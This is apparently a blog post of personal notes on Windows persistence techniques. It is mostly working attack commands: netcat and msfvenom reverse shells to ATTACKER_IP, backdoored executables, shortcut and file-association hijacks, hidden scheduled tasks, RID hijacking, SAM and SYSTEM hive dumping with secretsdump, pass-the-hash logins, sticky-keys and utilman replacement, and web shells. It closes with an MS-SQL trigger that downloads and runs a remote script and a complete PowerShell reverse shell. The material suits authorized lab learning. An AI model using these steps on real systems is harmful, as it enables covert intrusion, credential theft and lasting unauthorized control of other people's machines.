There are many ways to create persistence into a Windows client. Some of these techniques will create reverse shell backdoors that can be connected to with a listener while others allow the attacker to start the connection through RDP or WinRM. Some techniques can only be achieved with Administrator or System privileges. My notes for techniques with and without elevated privileges are listed below.
Without A Privileged Account
Scheduled Tasks
One way to add persistence is by scheduling reverse shell connections with the schtasks
command. The line below configures a task to run 1 time every minute: schtasks /create /sc minute /mo 1 /tn [name for task] /tr "[command with options]"
*With SYSTEM privileges: add /ru SYSTEM
to run the command with elevated privileges.
An example command for a reverse shell would be: "c:\tools\nc64 -e cmd.exe [ATTACKER_IP] 4444"
. See more here: schtasks commands.
Check the task with:schtasks /query /tn [task name]
With administrator privileges: it is possible to make the task invisible by deleting its Security Descriptor. Open the registry editor and delete SD under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[task name]
.
Logon Exploitation – Startup Folder
Each user has a folder under C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
where you can put executables to be run whenever the user logs in. As usual, the payload will be a reverse shell:msfvenom -p windows/x64/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=4444 -f exe -o revshell.exe
Use a python server and wget to send the payload to the target.
Alternatively, the startup executable can be placed into a shared folder here: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Logon Exploitation – Registry Run
An alternative way to get an executable to run at startup is to configure it in the registry. There are four registry options for this:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
KHCU if for the current user and KHLM is for the local machine.
Generate a payload and upload it to C:\Windows
. Then, create a REG_EXPAND_SZ
type registry, give it a name, and in data provide the path to the executable.
Logon Exploitation – Winlogon
Winlogon is a registry component that loads a user profile after authentication. Its registry folder is:HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
It includes two important executables that must run: explorer.exe
and userinit.exe
. After either of these executables, we can add our own to force it to be run at startup. Ex: data = C:\Windows\system32\userinit.exe, C:\Windows\revshell.exe
Logon Exploitation – Scripts
While loading the user profile, the executable userinit.exe
checks an environmental variable called UserInitMprLogonScript
. By default, this variable isn’t set to anything, so we can direct it to our own script.
In registry editor, go to HKCU\Environment
and create a REG_EXPAND_SZ
type registry with the name UserInitMprLogonScript
. Set the value of this entry to your backdoor script.
RID Hijacking
RDP may be limited to administrator accounts only. Therefore, if we can trick a system into believing we are an administrator, we’ll have higher privileges and remote operation in one swoop. We can do this with RID hijacking.
RID is a number associated with each account and is part of a user SID. Admin accounts are represented by an RID of 500 and the RID for any user can be edited in the Windows Registry.
To start, find out a user’s SID, run wmic useraccount get name,sid
and look at the number after the last hyphen.
Next, from the folder C:\tools\pstools
open the registry with PsExec64.exe -i -s regedit
. The -s
flag here indicates that PsExec should open the Registry with the SYSTEM account. PsExec
is similar to telnet in that it allows remote or local commands to be performed on a machine. It is provides users with strong privileges and is usually not limited.
In the Registry, navigate to HKLM\SAM\SAM\Domains\Account\Users\
and open the folder for your current user. This will be under the hex representation of your SID.
Within that folder, edit the file F
, and at line 0030, change the first two values to F4 and 01.
Backdooring Files
This technique involves taking a commonly used executable and implanting a payload within it. To start, have a copy of the executable that we will be adding a backdoor to.
The backdoor will be added with msfvenom
. Here is an example of adding a reverse shell to a file:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
Breaking it down:
msfvenom -a x64 --platform windows
: invoke msfvenom and specify the target architecture and OS-p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444
: selects the payload and its details-b "\x00"
: avoids using the character \x00-x putty.exe -k -f exe -o puttyX.exe
: uses putty.exe as a template and keeps the original functionality but adds the payload as a new thread
Backdooring Shortcuts
Redirect the target location of a shortcut file to a script that will start a reverse shell and then open the original executable.
Save this PS script:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
Then point the shortcut to this location: powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
and change the icon.
Hijacking File Associations
We can hijack any file association to force the operating system to run a shell whenever the user opens a specific file type.
In the Registry, go to HKLM\Software\Classes\
and find the ProgID of the desired file type. With this, navigate further in the Registry to HKLM\Software\Classes\[ProgID]\shell\open\command
. This entry keeps the default executable to open whenever we open a specific file type.
We can change this to a script instead: powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 %1
Where backdoor.ps1
is:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]
Backdooring New Service
Create a new service with:
sc.exe create [service name] binPath= "[service location]" start= auto
sc.exe start [service name]
Instead of specifying the location of a binary, binPath
can also run a command such as net user Administrator Passwd123
to reset a password.
To generate a different binary with msfvenom, create a payload of the format exe-service
:msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe
Backdooring Existing Service
If possible, it is usually better to modify a stopped existing service as it is harder to detect.
Do this by searching: sc.exe query state=inactive
.
Now, replace a service with your own service: sc.exe config [service name] binPath= "[new service location]" start= auto obj= "LocalSystem"
.
With A Privileged Account
Tampering with Unprivileged Accounts
The activity of privileged accounts is often closely reviewed. It is often best to give another account higher permissions and then create persistence from there. Check what users are connected in the network:net localgroup users
From a computer with administrator privileges:net localgroup administrators [user] /add
– add an unprivileged user to Administrators group, ornet localgroup "Backup Operators" [user] /add
– add to the Backup Operators group, which allows the user to copy the SAM and SYSTEM hives
Also:net localgroup "Remote Desktop Users" []user /add
– add a user to the Remote Desktop Users group, which allows RDP.net localgroup "Remote Management Users" []user /add
– add a user to the Remote Management Users group, which allows WinRM.
NOTE: WinRM vs RDP:
The LocalAccountTokenFilterPolicy
strips administrator privileges when logging in remotely. To disable this policy and keep elevated privileges:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Now, from an attacking machine, connect through RDP or Evil-WinRM and download SAM and SYSTEM files:
`evil-winrm -i [ip address] -u [user] -p [password]
At this point, we have our persistence. However, to take it a step farther, we can use our Backup Operator permissions to get system hashes so that we have more users we can log in as.
From WinRM:reg save hklm\system system.bak
download system.bak
reg save hklm\sam sam.bak
download sam.bak
With SAM.bak and SYSTEM.bak available, we can use secretsdump.py to extract password hashes for all users:python /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Sometimes, hashes need to be cracked for passwords, but WinRM allows sign-in with hashes:evil-winrm -i [ip address] -u [user] -H [hash]
Special Privileges and Security Descriptors
The Backup Operators group mentioned earlier is a group that grants members the following two privileges:
SeBackupPrivilege
: the user can read any file in the system, ignoring any DACL in place.SeRestorePrivilege
: the user can write any file in the system, ignoring any DACL in place.
NOTE: a list of all privileges can be found here: Privilege Constants (Winnt.h) – Win32 apps | Microsoft Learn
Instead of adding a user to the Backup Operators group, these privileges can be given directly with secedit
. Start by exporting the current configuration:secedit /export /cfg /config.inf
This is a text file. In it, users can be added directly to the desired permissions.
After a user has been given the desired permissions, use the following commands to push the new security configurations to the system:secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
Now, instead of adding a user to the “Remote Management Users” group, we will instead edit the PowerShell security descriptor with:Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
This will bring up a window where we can give a user full control over PowerShell.
Remember, the LocalAccountTokenFilterPolicy
strips administrator privileges when logging in remotely. To disable this policy and keep elevated privileges:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Now, log in with Win-RM.
With Physical Access or RDP
Hijacking Sticky Keys
After pressing Shift 5 times, Windows will run C:\Windows\System32\sethc.exe
. It will do so even at the login screen. If we replace this binary, than we can run an executable at any time by pressing Shift 5 times.
To take ownership over sethc.exe
and overwrite it:
takeown /f c:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Hijacking Utilman
Utilman provides Ease of Access options in the lock screen with System privileges. If we replace it with command prompt, we can get a shell from the login window.
To take ownership over utilman.exe
and overwrite it:
takeown /f c:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Existing Services
Web Shells
The default Windows web server is IIS. The default webroot location for IIS is C:\inetpub\wwwroot
. We will drop a web shell into this location. One possible web shell is here. Make sure to grant everyone full permissions over the web shell icacls [shell] /grant Everyone:F
.
Now we can start the reverse shell anytime we want by navigating to the the file location in a browser: [ip]/shell.aspx
.
MS-SQL Backdoor
A backdoor can be created with a MS-SQL database. First, we need to enable the xp_cmdshell
stored procedure. xp_cmdshell
is provided by default in any MS-SQL installation and allows you to run commands directly in the system’s console. It comes disabled by default.
In a new query, run the following:
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
Now that we have opened up the permissions on the stored procedure we want, we will create a trigger that will use the stored procedure. In this example, we’ll enter a database that we know is constantly changing and we’ll make a trigger that fetches and starts a shell from our server anytime a user is added:
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
This will download and run the evilscript.ps1
that we are hosting on port 8000. The contents of the script can be:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()